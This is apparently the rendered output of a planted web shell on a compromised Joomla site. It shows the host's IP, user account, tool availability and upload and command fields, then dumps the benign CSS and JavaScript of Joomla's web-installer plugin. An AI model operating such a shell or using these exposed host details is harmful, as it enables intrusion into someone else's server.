403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.217.35
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/123click/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/123click/assets/plg_installer_webinstaller.tar
css/client.css000060400000016671150752761430007345 0ustar00/* Extension type badges */
.com-apps-container .label-jcommercial, .com-apps-container .badge-jcommercial {
    background-color: #f6c801;
    color: black;
    font-weight: normal;
    font-size: medium;
    vertical-align: bottom
}

.com-apps-container .label-jmodule, .com-apps-container .badge-jmodule {
    background-color: #e20a0a
}

.com-apps-container .label-jplugin, .com-apps-container .badge-jplugin {
    background-color: #57278e
}

.com-apps-container .label-jcomponent, .com-apps-container .badge-jcomponent {
    background-color: #1e9e33
}

.com-apps-container .label-jspecific, .com-apps-container .badge-jspecific {
    background-color: #d69b34
}

.com-apps-container .label-jtool, .com-apps-container .badge-jtool {
    background-color: #333333
}

.com-apps-container .label-jlanguage, .com-apps-container .badge-jlanguage {
    background-color: golden
}

.com-apps-container .icon-star, .com-apps-container .icon-star-2 {
    color: #f6c801
}

.com-apps-container .icon-star-empty {
    color: #dcdcdc
}

.com-apps-container ul.item-type {
    margin: 0px
}

.com-apps-container .jbadge {
    vertical-align: middle
}

/* Bootstrap form controls override */
.com-apps-container .full-item-container .control-group {
    margin: 0px;
}

.com-apps-container .full-item-container .control-label {
    padding: 0px;
    margin: 0px;
}

.com-apps-container .full-item-container .controls {
    margin-left: 100px;
}

.com-apps-container .full-item-container .form-actions {
    padding-left: 20px;
}

/* Full view */
.com-apps-container .item-info-container {
    margin-left: 25px;
    line-height: 25px
}

/* Grid */
.com-apps-container .item-image {
    height: 120px
}

.com-apps-container .item-description {
    height: 100px;
    overflow: hidden
}

.com-apps-container .thumbnail {
    padding: 16px 12px 16px 12px;
    cursor: pointer;
}

.com-apps-container .grid-container .thumbnail:hover {
    background-color: #F2F2F2;
}

/* List */
.list-container .thumbnails .item {
    display: block;
    width: 100%;
    margin-left: 0;
    border-bottom: 1px solid #ccc;
    margin-bottom: 2px;
    display: inline-block;
    height: 60px;
    overflow: hidden;
}

.list-container {
    box-sizing: border-box;
    -moz-box-sizing: border-box;
    -webkit-box-sizing: border-box;
}

.list-container .thumbnails .item:hover {
    border-color: #185186;
}

.list-container .thumbnails .item:hover h4 a,
.list-container .thumbnails .item:hover .item-description {
    color: #33608f;
    text-decoration: none;
}

.list-container .thumbnails .item h4 {
    margin: 0px;
}

.list-container .thumbnails .item .item-header {
    text-align: left;
    margin: 0px;
    margin-right: 10px;
    min-height: 34px;
    border-right: 1px solid #ccc;
    box-sizing: border-box;
    -moz-box-sizing: border-box;
    -webkit-box-sizing: border-box;
}

.list-container .thumbnails .item .item-description {
    float: left;
    box-sizing: border-box;
    -moz-box-sizing: border-box;
    -webkit-box-sizing: border-box;
}

.list-container .thumbnails .item .item-header {
    width: 22%;
}

.list-container .thumbnails .item .item-icons {
    width: 22%;
    float: right;
    border-left: 1px solid #ccc;
    padding: 0px;
}

.list-container .thumbnails .item .item-description {
    width: 50%;
    overflow: hidden;
}

.list-container .thumbnails .thumbnail {
    padding: 0px;
    height: 100%;
    overflow: hidden;
}

.com-apps-container .fader {
    position: absolute;
    background: -moz-linear-gradient(top, rgba(255, 255, 255, 0) 70%, rgba(255, 255, 255, 1) 95%); /* FF3.6+ */
    background: -webkit-gradient(linear, left top, left bottom, color-stop(70%, rgba(255, 255, 255, 0)), color-stop(95%, rgba(255, 255, 255, 1))); /* Chrome,Safari4+ */
    background: -webkit-linear-gradient(top, rgba(255, 255, 255, 0) 70%, rgba(255, 255, 255, 1) 95%); /* Chrome10+,Safari5.1+ */
    background: -o-linear-gradient(top, rgba(255, 255, 255, 0) 70%, rgba(255, 255, 255, 1) 95%); /* Opera 11.10+ */
    background: -ms-linear-gradient(top, rgba(255, 255, 255, 0) 70%, rgba(255, 255, 255, 1) 95%); /* IE10+ */
    background: linear-gradient(to bottom, rgba(255, 255, 255, 0) 70%, rgba(255, 255, 255, 1) 95%); /* W3C */
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ffffff', endColorstr='#ffffff', GradientType=0); /* IE6-9 */
    text-align: center;
    float: left;
    width: 100%;
    height: 100%;
    top: 0px;
    left: 0px;
    margin-top: 5px;
}

.com-apps-container .list-container .fader {
    position: absolute;
    background: -moz-linear-gradient(top, rgba(255, 255, 255, 0) 0%, rgba(255, 255, 255, 1) 25%); /* FF3.6+ */
    background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, rgba(255, 255, 255, 0)), color-stop(25%, rgba(255, 255, 255, 1))); /* Chrome,Safari4+ */
    background: -webkit-linear-gradient(top, rgba(255, 255, 255, 0) 0%, rgba(255, 255, 255, 1) 25%); /* Chrome10+,Safari5.1+ */
    background: -o-linear-gradient(top, rgba(255, 255, 255, 0) 0%, rgba(255, 255, 255, 1) 25%); /* Opera 11.10+ */
    background: -ms-linear-gradient(top, rgba(255, 255, 255, 0) 0%, rgba(255, 255, 255, 1) 25%); /* IE10+ */
    background: linear-gradient(to bottom, rgba(255, 255, 255, 0) 0%, rgba(255, 255, 255, 1) 25%); /* W3C */
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ffffff', endColorstr='#ffffff', GradientType=0); /* IE6-9 */
    text-align: center;
    float: left;
    width: 100%;
    height: 100%;
    top: 0px;
    left: 0px;
    margin-top: 5px;
}

div.item-description {
    position: relative;
}

.list-container .thumbnails .thumbnail div {
    float: left;
    padding: 5px;
    height: 100%;
}

.list-container .thumbnails .thumbnail div.item-icons div {
    padding: 0px;
}

.list-container .thumbnails .item .item-icons div {
    float: left;
    width: 100%;
    text-align: center;
    height: auto;
}

/* Added to fix responsive issues */

.com-apps-container .filter-search.btn-group.pull-left {
    width: 31%;
}

.com-apps-container input {
    width: 90%;
}

.com-apps-container .btn-group.pull-right.select {
    width: 31%;
}

.com-apps-container .thumbnail {
    min-height: 350px;
}

.com-apps-container .item-description {
    min-height: 150px;
}

.com-apps-container .grid-container .row-fluid [class*="span"] {
    margin-left: 2%;
}

.com-apps-container .row-fluid [class*="span"]:first-child {
    margin-left: 0;
}

/* Put breakpoints in when the design breaks, not at generic widths */
@media (max-width: 869px) {
    .com-apps-sidebar .nav-header {
        padding-left: 0;
    }
}

@media (max-width: 800px) {
    .com-apps-container .item-image {
        min-height: 90px;
    }

}

/* Fixes images which are too big */
.com-apps-container .thumbnail .item-image img {
    max-width: 100%;
    max-height: 90%;
}

/* This is where the single column view starts */
@media (max-width: 768px) {
    .com-apps-container select {
        font-size: 10px;
    }

    .com-apps-container .thumbnail {
        min-height: 300px;
    }

    .com-apps-container .item-description {
        min-height: 100px;
    }

    .com-apps-container .row-fluid [class*="span"] {
        margin-left: 0;
    }
}

@media (max-width: 580px) {
    .nav-tabs > li {
        width: 100%;
    }

    #myTabTabs {
        border-top: 1px solid lightgrey;
        padding-top: 2px;
    }
}

@media (max-width: 495px) {
    /* need to add .search class to the button group */
    .com-apps-container .btn-group.pull-left.search {
        display: none;
        visibility: hidden;
    }
}
css/client.min.css000060400000012612150752761430010116 0ustar00.com-apps-container .full-item-container .control-group,.com-apps-container ul.item-type{margin:0}.com-apps-container .badge-jcommercial,.com-apps-container .label-jcommercial{background-color:#f6c801;color:#000;font-weight:400;font-size:medium;vertical-align:bottom}.com-apps-container .badge-jmodule,.com-apps-container .label-jmodule{background-color:#e20a0a}.com-apps-container .badge-jplugin,.com-apps-container .label-jplugin{background-color:#57278e}.com-apps-container .badge-jcomponent,.com-apps-container .label-jcomponent{background-color:#1e9e33}.com-apps-container .badge-jspecific,.com-apps-container .label-jspecific{background-color:#d69b34}.com-apps-container .badge-jtool,.com-apps-container .label-jtool{background-color:#333}.com-apps-container .badge-jlanguage,.com-apps-container .label-jlanguage{background-color:golden}.com-apps-container .icon-star,.com-apps-container .icon-star-2{color:#f6c801}.com-apps-container .icon-star-empty{color:#dcdcdc}.com-apps-container .jbadge{vertical-align:middle}.com-apps-container .full-item-container .control-label{padding:0;margin:0}.com-apps-container .full-item-container .controls{margin-left:100px}.com-apps-container .full-item-container .form-actions{padding-left:20px}.com-apps-container .item-info-container{margin-left:25px;line-height:25px}.com-apps-container .item-image{height:120px}.com-apps-container .item-description{height:100px;overflow:hidden}.com-apps-container .thumbnail{padding:16px 12px;cursor:pointer}.com-apps-container .grid-container .thumbnail:hover{background-color:#F2F2F2}.list-container .thumbnails .item{width:100%;margin-left:0;border-bottom:1px solid #ccc;margin-bottom:2px;display:inline-block;height:60px;overflow:hidden}.list-container{box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.list-container .thumbnails .item:hover{border-color:#185186}.list-container .thumbnails .item:hover .item-description,.list-container .thumbnails .item:hover h4 a{color:#33608f;text-decoration:none}.list-container .thumbnails .item h4{margin:0}.list-container .thumbnails .item .item-header{text-align:left;margin:0 10px 0 0;min-height:34px;border-right:1px solid #ccc;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;width:22%}.com-apps-container .fader,.com-apps-container .list-container .fader{position:absolute;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ffffff', endColorstr='#ffffff', GradientType=0);top:0;left:0;margin-top:5px;height:100%;text-align:center}.list-container .thumbnails .item .item-description{float:left;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.list-container .thumbnails .item .item-icons{width:22%;float:right;border-left:1px solid #ccc;padding:0}.list-container .thumbnails .item .item-description{width:50%;overflow:hidden}.list-container .thumbnails .thumbnail{padding:0;height:100%;overflow:hidden}.com-apps-container .fader{background:-moz-linear-gradient(top,rgba(255,255,255,0) 70%,rgba(255,255,255,1) 95%);background:-webkit-gradient(linear,left top,left bottom,color-stop(70%,rgba(255,255,255,0)),color-stop(95%,rgba(255,255,255,1)));background:-webkit-linear-gradient(top,rgba(255,255,255,0) 70%,rgba(255,255,255,1) 95%);background:-o-linear-gradient(top,rgba(255,255,255,0) 70%,rgba(255,255,255,1) 95%);background:-ms-linear-gradient(top,rgba(255,255,255,0) 70%,rgba(255,255,255,1) 95%);background:linear-gradient(to bottom,rgba(255,255,255,0) 70%,rgba(255,255,255,1) 95%);float:left;width:100%}.com-apps-container .list-container .fader{background:-moz-linear-gradient(top,rgba(255,255,255,0) 0,rgba(255,255,255,1) 25%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0,rgba(255,255,255,0)),color-stop(25%,rgba(255,255,255,1)));background:-webkit-linear-gradient(top,rgba(255,255,255,0) 0,rgba(255,255,255,1) 25%);background:-o-linear-gradient(top,rgba(255,255,255,0) 0,rgba(255,255,255,1) 25%);background:-ms-linear-gradient(top,rgba(255,255,255,0) 0,rgba(255,255,255,1) 25%);background:linear-gradient(to bottom,rgba(255,255,255,0) 0,rgba(255,255,255,1) 25%);float:left;width:100%}div.item-description{position:relative}.list-container .thumbnails .thumbnail div{float:left;padding:5px;height:100%}.list-container .thumbnails .thumbnail div.item-icons div{padding:0}.list-container .thumbnails .item .item-icons div{float:left;width:100%;text-align:center;height:auto}.com-apps-container .filter-search.btn-group.pull-left{width:31%}.com-apps-container input{width:90%}.com-apps-container .btn-group.pull-right.select{width:31%}.com-apps-container .thumbnail{min-height:350px}.com-apps-container .item-description{min-height:150px}.com-apps-container .grid-container .row-fluid [class*=span]{margin-left:2%}.com-apps-container .row-fluid [class*=span]:first-child{margin-left:0}@media (max-width:869px){.com-apps-sidebar .nav-header{padding-left:0}}@media (max-width:800px){.com-apps-container .item-image{min-height:90px}}.com-apps-container .thumbnail .item-image img{max-width:100%;max-height:90%}@media (max-width:768px){.com-apps-container select{font-size:10px}.com-apps-container .thumbnail{min-height:300px}.com-apps-container .item-description{min-height:100px}.com-apps-container .row-fluid [class*=span]{margin-left:0}}@media (max-width:580px){.nav-tabs>li{width:100%}#myTabTabs{border-top:1px solid #d3d3d3;padding-top:2px}}@media (max-width:495px){.com-apps-container .btn-group.pull-left.search{display:none;visibility:hidden}}
js/client.min.js000060400000016110150752761430007563 0ustar00if(!Joomla)throw new Error("Joomla API is not properly initialised");Joomla.apps={view:"dashboard",id:0,ordering:"",version:"current",cssfiles:[],jsfiles:[],list:0,loaded:0,update:!1,options:Joomla.getOptions("plg_installer_webinstaller",{})};var apps_base_url=Joomla.apps.options.base_url;Joomla.loadweb=function(e){if(""==e)return!1;var o=new RegExp(Joomla.apps.options.base_url),a=new RegExp("^index.php");if(!o.test(e)&&!a.test(e))return window.open(e,"_blank"),!1;e+="&product="+Joomla.apps.options.product+"&release="+Joomla.apps.options.release+"&dev_level="+Joomla.apps.options.dev_level+"&list="+(Joomla.apps.list?"list":"grid")+"&pv="+Joomla.apps.options.pv;var l=Joomla.apps.ordering,r=Joomla.apps.version;return""!==l&&jQuery("#com-apps-ordering").val()&&(e+="&ordering="+(l=jQuery("#com-apps-ordering").val())),""!==r&&jQuery("#com-apps-filter-joomla-version").val()&&(e+="&filter_version="+(r=jQuery("#com-apps-filter-joomla-version").val())),jQuery("html, body").animate({scrollTop:0},0),jQuery("#myTabContent").length&&Joomla.loadingLayer("show",jQuery("#myTabContent")[0]),jQuery.ajax({url:e,dataType:"jsonp",cache:!0,jsonpCallback:"jedapps_jsonpcallback",timeout:2e4,success:function(e){if(jQuery("#web-loader").hide(),jQuery("#jed-container").html(e.data.html),!Joomla.apps.update&&e.data.pluginuptodate<1){Joomla.apps.update=!0;var o=Joomla.JText._("COM_INSTALLER_WEBINSTALLER_INSTALL_OBSOLETE"),a=Joomla.JText._("JLIB_INSTALLER_UPDATE");0==e.data.pluginuptodate&&(o=Joomla.JText._("COM_INSTALLER_WEBINSTALLER_INSTALL_UPDATE_AVAILABLE")),Joomla.apps.options.is_hathor?jQuery("#element-box").prepend(jQuery('<dl id="system-message"><dt class="info">info</dt><dd class="info message"><ul><li>'+o+'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input class="btn" type="button" value="'+a+'" onclick="Joomla.submitbuttonInstallWebInstaller()" /></li></ul></dd></dl>')):jQuery("#web").prepend(jQuery('<div class="alert alert-info j-jed-message" style="margin-bottom: 20px; line-height: 2em; color:#333333;">'+o+'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input class="btn" type="button" value="'+a+'" onclick="Joomla.submitbuttonInstallWebInstaller()" /></div>'))}Joomla.apps.hideLoadingLayer()},fail:function(){jQuery("#web-loader").hide(),jQuery("#web-loader-error").show(),Joomla.apps.hideLoadingLayer()},complete:function(){jQuery("#joomlaapsinstallatinput")&&jQuery("#joomlaapsinstallatinput").val(Joomla.apps.options.installat_url),Joomla.apps.clickforlinks(),Joomla.apps.clicker(),Joomla.apps.list&&jQuery(".list-view").click(),Joomla.apps.hideLoadingLayer()},error:function(e,o,a){e.responseText&&jQuery("#web-loader-error").html(e.responseText),jQuery("#web-loader").hide(),jQuery("#web-loader-error").show(),Joomla.apps.hideLoadingLayer()}}),!0},Joomla.webpaginate=function(e,o){jQuery("#web-paginate-loader").show(),jQuery.get(e,function(e){jQuery("#web-paginate-loader").hide(),jQuery("#"+o).html(e.data.html)},"jsonp").fail(function(){jQuery("#web-paginate-loader").hide()})},Joomla.installfromwebexternal=function(e){return 1==confirm(Joomla.JText._("PLG_INSTALLER_WEBINSTALLER_REDIRECT_TO_EXTERNAL_SITE_TO_INSTALL").replace("[SITEURL]",redirectUrl))&&(jQuery("#adminForm").attr("action",e),jQuery("input[name=task]").prop("disabled",!0),jQuery("input[name=install_directory]").prop("disabled",!0),jQuery("input[name=install_url]").prop("disabled",!0),jQuery("input[name=installtype]").prop("disabled",!0),jQuery("input[name=filter_search]").prop("disabled",!0),!0)},Joomla.installfromweb=function(e,o){return""==e?(alert(Joomla.JText._("PLG_INSTALLER_WEBINSTALLER_CANNOT_INSTALL_EXTENSION_IN_PLUGIN")),!1):(jQuery("#install_url").val(e),jQuery("#uploadform-web-url").text(e),o?(jQuery("#uploadform-web-name").text(o),jQuery("#uploadform-web-name-label").show()):jQuery("#uploadform-web-name-label").hide(),jQuery("#jed-container").slideUp(300),jQuery("#uploadform-web").show(),!0)},Joomla.installfromwebcancel=function(){jQuery("#uploadform-web").hide(),jQuery("#jed-container").slideDown(300),Joomla.apps.list&&jQuery(".list-view").click()},Joomla.installfromwebajaxsubmit=function(){var e="&view="+Joomla.apps.view;(Joomla.apps.id&&(e+="&id="+Joomla.apps.id),jQuery("#com-apps-searchbox").val())&&(e+="&filter_search="+encodeURI(jQuery("#com-apps-searchbox").val().toLowerCase().replace(/ +/g,"_").replace(/[^a-z0-9-_]/g,"").trim()));var o=Joomla.apps.ordering,a=Joomla.apps.version;""!==o&&jQuery("#com-apps-ordering").val()&&(o=jQuery("#com-apps-ordering").val()),o&&(e+="&ordering="+o),""!==a&&jQuery("#com-apps-filter-joomla-version").val()&&(a=jQuery("#com-apps-filter-joomla-version").val()),a&&(e+="&filter_version="+a),Joomla.loadweb(Joomla.apps.options.base_url+"index.php?format=json&option=com_apps"+e)},Joomla.apps.clickforlinks=function(){jQuery("a.transcode").each(function(e,o){var a,l=jQuery(this).attr("href");a=l,jQuery(o).live("click",function(e){var o=new RegExp(Joomla.apps.options.base_url),l=new RegExp("^index.php");o.test(a)||l.test(a)?(Joomla.apps.view=a.replace(/^.+[&\?]view=(\w+).*$/,"$1"),"dashboard"==Joomla.apps.view?Joomla.apps.id=0:"category"==Joomla.apps.view&&(Joomla.apps.id=a.replace(/^.+[&\?]id=(\d+).*$/,"$1")),e.preventDefault(),Joomla.loadweb(Joomla.apps.options.base_url+a)):(e.preventDefault(),Joomla.loadweb(a))}),jQuery(this).attr("href","#")})},Joomla.apps.initialize=function(){Joomla.apps.loaded=1,Joomla.loadweb(Joomla.apps.options.base_url+"index.php?format=json&option=com_apps&view=dashboard"),Joomla.apps.clickforlinks(),jQuery("#com-apps-searchbox").live("keypress",function(e){13==e.which&&Joomla.apps.initiateSearch()}),jQuery("#search-reset").live("click",function(e){jQuery("#com-apps-searchbox").val(""),Joomla.apps.initiateSearch()}),jQuery("#com-apps-ordering").live("change",function(e){Joomla.apps.ordering=jQuery(this).prop("selectedIndex"),Joomla.installfromwebajaxsubmit()}),jQuery("#com-apps-filter-joomla-version").live("change",function(e){Joomla.apps.version=jQuery(this).prop("selectedIndex"),Joomla.installfromwebajaxsubmit()}),""!=Joomla.apps.options.installfrom_url&&Joomla.installfromweb(Joomla.apps.options.installfrom_url)},Joomla.apps.initiateSearch=function(){Joomla.apps.view="dashboard",Joomla.installfromwebajaxsubmit()},Joomla.apps.clicker=function(){jQuery(".grid-view").live("click",function(){Joomla.apps.list=0,jQuery(".list-container").addClass("hidden"),jQuery(".grid-container").removeClass("hidden"),jQuery("#btn-list-view").removeClass("active"),jQuery("#btn-grid-view").addClass("active")}),jQuery(".list-view").live("click",function(){Joomla.apps.list=1,jQuery(".grid-container").addClass("hidden"),jQuery(".list-container").removeClass("hidden"),jQuery("#btn-grid-view").removeClass("active"),jQuery("#btn-list-view").addClass("active")})},Joomla.apps.hideLoadingLayer=function(){jQuery("#myTabContent").length&&Joomla.loadingLayer("hide",jQuery("#myTabContent")[0])},Joomla.submitbutton5=function(e){var o=document.getElementById("adminForm");""!=o.install_url.value&&"http://"!=o.install_url.value?Joomla.submitbutton4():""==o.install_url.value?alert(Joomla.JText._("COM_INSTALLER_MSG_INSTALL_ENTER_A_URL")):(Joomla.apps.options.is_hathor||jQuery("#appsloading").css("display","block"),o.installtype.value="web",o.submit())};
js/client.js000060400000025304150752761430007006 0ustar00/**
 * @copyright  Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

if (!Joomla) {
    throw new Error('Joomla API is not properly initialised');
}

Joomla.apps = {
    view: "dashboard",
    id: 0,
    ordering: "",
    version: "current",
    cssfiles: [],
    jsfiles: [],
    list: 0,
    loaded: 0,
    update: false,
    options: Joomla.getOptions('plg_installer_webinstaller', {}),
};

// The following global vars are deprecated, they are retained for compatibility with the IFW server where the markup is rendered
var apps_base_url = Joomla.apps.options.base_url;

Joomla.loadweb = function (url) {
    if ('' == url) {
        return false;
    }

    var pattern1 = new RegExp(Joomla.apps.options.base_url);
    var pattern2 = new RegExp("^index\.php");

    if (!(pattern1.test(url) || pattern2.test(url))) {
        window.open(url, "_blank");

        return false;
    }

    url += '&product=' + Joomla.apps.options.product + '&release=' + Joomla.apps.options.release + '&dev_level=' + Joomla.apps.options.dev_level + '&list=' + (Joomla.apps.list ? 'list' : 'grid') + '&pv=' + Joomla.apps.options.pv;

    var ordering = Joomla.apps.ordering;
    var version = Joomla.apps.version;

    if (ordering !== "" && jQuery('#com-apps-ordering').val()) {
        ordering = jQuery('#com-apps-ordering').val();
        url += '&ordering=' + ordering;
    }

    if (version !== "" && jQuery('#com-apps-filter-joomla-version').val()) {
        version = jQuery('#com-apps-filter-joomla-version').val();
        url += '&filter_version=' + version;
    }

    jQuery('html, body').animate({scrollTop: 0}, 0);

    if (jQuery('#myTabContent').length) {
        Joomla.loadingLayer('show', jQuery('#myTabContent')[0]);
    }

    jQuery.ajax({
        url: url,
        dataType: 'jsonp',
        cache: true,
        jsonpCallback: 'jedapps_jsonpcallback',
        timeout: 20000,
        success: function (response) {
            jQuery('#web-loader').hide();
            jQuery('#jed-container').html(response.data.html);

            if (!Joomla.apps.update && response.data.pluginuptodate < 1) {
                Joomla.apps.update = true;
                var txt = Joomla.JText._('COM_INSTALLER_WEBINSTALLER_INSTALL_OBSOLETE');
                var btn = Joomla.JText._('JLIB_INSTALLER_UPDATE');

                if (response.data.pluginuptodate == 0) {
                    txt = Joomla.JText._('COM_INSTALLER_WEBINSTALLER_INSTALL_UPDATE_AVAILABLE');
                }

                if (Joomla.apps.options.is_hathor) {
                    jQuery('#element-box').prepend(jQuery('<dl id="system-message"><dt class="info">info</dt><dd class="info message"><ul><li>' + txt + '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input class="btn" type="button" value="' + btn + '" onclick="Joomla.submitbuttonInstallWebInstaller()" /></li></ul></dd></dl>'));
                } else {
                    jQuery('#web').prepend(jQuery('<div class="alert alert-info j-jed-message" style="margin-bottom: 20px; line-height: 2em; color:#333333;">' + txt + '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input class="btn" type="button" value="' + btn + '" onclick="Joomla.submitbuttonInstallWebInstaller()" /></div>'));
                }
            }

            Joomla.apps.hideLoadingLayer();
        },
        fail: function () {
            jQuery('#web-loader').hide();
            jQuery('#web-loader-error').show();

            Joomla.apps.hideLoadingLayer();
        },
        complete: function () {
            if (jQuery('#joomlaapsinstallatinput')) {
                jQuery('#joomlaapsinstallatinput').val(Joomla.apps.options.installat_url);
            }

            Joomla.apps.clickforlinks();
            Joomla.apps.clicker();

            if (Joomla.apps.list) {
                jQuery(".list-view").click();
            }

            Joomla.apps.hideLoadingLayer();
        },
        error: function (request, status, error) {
            if (request.responseText) {
                jQuery('#web-loader-error').html(request.responseText);
            }

            jQuery('#web-loader').hide();
            jQuery('#web-loader-error').show();

            Joomla.apps.hideLoadingLayer();
        }
    });

    return true;
};

Joomla.webpaginate = function (url, target) {
    jQuery('#web-paginate-loader').show();

    jQuery.get(url, function (response) {
        jQuery('#web-paginate-loader').hide();
        jQuery('#' + target).html(response.data.html);
    }, 'jsonp').fail(function () {
        jQuery('#web-paginate-loader').hide();
        //jQuery('#web-paginate-error').hide();
    });
};

Joomla.installfromwebexternal = function (redirect_url) {
    var redirect_confirm = confirm(Joomla.JText._('PLG_INSTALLER_WEBINSTALLER_REDIRECT_TO_EXTERNAL_SITE_TO_INSTALL').replace('[SITEURL]', redirectUrl));

    if (true == redirect_confirm) {
        jQuery('#adminForm').attr('action', redirect_url);
        jQuery("input[name=task]").prop("disabled", true);
        jQuery("input[name=install_directory]").prop("disabled", true);
        jQuery("input[name=install_url]").prop("disabled", true);
        jQuery("input[name=installtype]").prop("disabled", true);
        jQuery("input[name=filter_search]").prop("disabled", true);

        return true;
    }

    return false;
};

Joomla.installfromweb = function (install_url, name) {
    if ('' == install_url) {
        alert(Joomla.JText._('PLG_INSTALLER_WEBINSTALLER_CANNOT_INSTALL_EXTENSION_IN_PLUGIN'));

        return false;
    }

    jQuery('#install_url').val(install_url);
    jQuery('#uploadform-web-url').text(install_url);

    if (name) {
        jQuery('#uploadform-web-name').text(name);
        jQuery('#uploadform-web-name-label').show();
    } else {
        jQuery('#uploadform-web-name-label').hide();
    }

    jQuery('#jed-container').slideUp(300);
    jQuery('#uploadform-web').show();

    return true;
};

Joomla.installfromwebcancel = function () {
    jQuery('#uploadform-web').hide();
    jQuery('#jed-container').slideDown(300);

    if (Joomla.apps.list) {
        jQuery(".list-view").click();
    }
};

Joomla.installfromwebajaxsubmit = function () {
    var tail = '&view=' + Joomla.apps.view;

    if (Joomla.apps.id) {
        tail += '&id=' + Joomla.apps.id;
    }

    if (jQuery('#com-apps-searchbox').val()) {
        var value = encodeURI(jQuery('#com-apps-searchbox').val().toLowerCase().replace(/ +/g, '_').replace(/[^a-z0-9-_]/g, '').trim());
        tail += '&filter_search=' + value;
    }

    var ordering = Joomla.apps.ordering;
    var version = Joomla.apps.version;

    if (ordering !== "" && jQuery('#com-apps-ordering').val()) {
        ordering = jQuery('#com-apps-ordering').val();
    }

    if (ordering) {
        tail += '&ordering=' + ordering;
    }

    if (version !== "" && jQuery('#com-apps-filter-joomla-version').val()) {
        version = jQuery('#com-apps-filter-joomla-version').val();
    }

    if (version) {
        tail += '&filter_version=' + version;
    }

    Joomla.loadweb(Joomla.apps.options.base_url + 'index.php?format=json&option=com_apps' + tail);
};

Joomla.apps.clickforlinks = function () {
    jQuery('a.transcode').each(function (index, value) {
        var ajaxurl = jQuery(this).attr('href');

        (function () {
            var ajax_url = ajaxurl;

            jQuery(value).live('click', function (event) {
                var pattern1 = new RegExp(Joomla.apps.options.base_url);
                var pattern2 = new RegExp("^index\.php");

                if (pattern1.test(ajax_url) || pattern2.test(ajax_url)) {
                    Joomla.apps.view = ajax_url.replace(/^.+[&\?]view=(\w+).*$/, '$1');

                    if (Joomla.apps.view == 'dashboard') {
                        Joomla.apps.id = 0;
                    } else if (Joomla.apps.view == 'category') {
                        Joomla.apps.id = ajax_url.replace(/^.+[&\?]id=(\d+).*$/, '$1');
                    }

                    event.preventDefault();
                    Joomla.loadweb(Joomla.apps.options.base_url + ajax_url);
                } else {
                    event.preventDefault();
                    Joomla.loadweb(ajax_url);
                }
            });
        })();

        jQuery(this).attr('href', '#');
    });
};

Joomla.apps.initialize = function () {
    Joomla.apps.loaded = 1;

    Joomla.loadweb(Joomla.apps.options.base_url + 'index.php?format=json&option=com_apps&view=dashboard');

    Joomla.apps.clickforlinks();

    jQuery('#com-apps-searchbox').live('keypress', function (event) {
        if (event.which == 13) {
            Joomla.apps.initiateSearch();
        }
    });

    jQuery('#search-reset').live('click', function (event) {
        jQuery('#com-apps-searchbox').val('');
        Joomla.apps.initiateSearch();
    });

    jQuery('#com-apps-ordering').live('change', function (event) {
        Joomla.apps.ordering = jQuery(this).prop("selectedIndex");
        Joomla.installfromwebajaxsubmit();
    });

    jQuery('#com-apps-filter-joomla-version').live('change', function (event) {
        Joomla.apps.version = jQuery(this).prop("selectedIndex");
        Joomla.installfromwebajaxsubmit();
    });

    if (Joomla.apps.options.installfrom_url != '') {
        Joomla.installfromweb(Joomla.apps.options.installfrom_url);
    }
};

Joomla.apps.initiateSearch = function () {
    Joomla.apps.view = 'dashboard';
    Joomla.installfromwebajaxsubmit();
};

Joomla.apps.clicker = function () {
    jQuery(".grid-view").live("click", function () {
        Joomla.apps.list = 0;
        jQuery(".list-container").addClass("hidden");
        jQuery(".grid-container").removeClass("hidden");
        jQuery("#btn-list-view").removeClass("active");
        jQuery("#btn-grid-view").addClass("active");
    });
    jQuery(".list-view").live("click", function () {
        Joomla.apps.list = 1;
        jQuery(".grid-container").addClass("hidden");
        jQuery(".list-container").removeClass("hidden");
        jQuery("#btn-grid-view").removeClass("active");
        jQuery("#btn-list-view").addClass("active");
    });
};

Joomla.apps.hideLoadingLayer = function () {
    if (jQuery('#myTabContent').length) {
        Joomla.loadingLayer('hide', jQuery('#myTabContent')[0]);
    }
};

Joomla.submitbutton5 = function (pressbutton) {
    var form = document.getElementById('adminForm');

    // do field validation
    if (form.install_url.value != "" && form.install_url.value != "http://") {
        Joomla.submitbutton4();
    } else if (form.install_url.value == "") {
        alert(Joomla.JText._('COM_INSTALLER_MSG_INSTALL_ENTER_A_URL'));
    } else {
        if (!Joomla.apps.options.is_hathor) {
            jQuery('#appsloading').css('display', 'block');
        }

        form.installtype.value = 'web';
        form.submit();
    }
};

Youez - 2016 - github.com/yon3zu
LinuXploit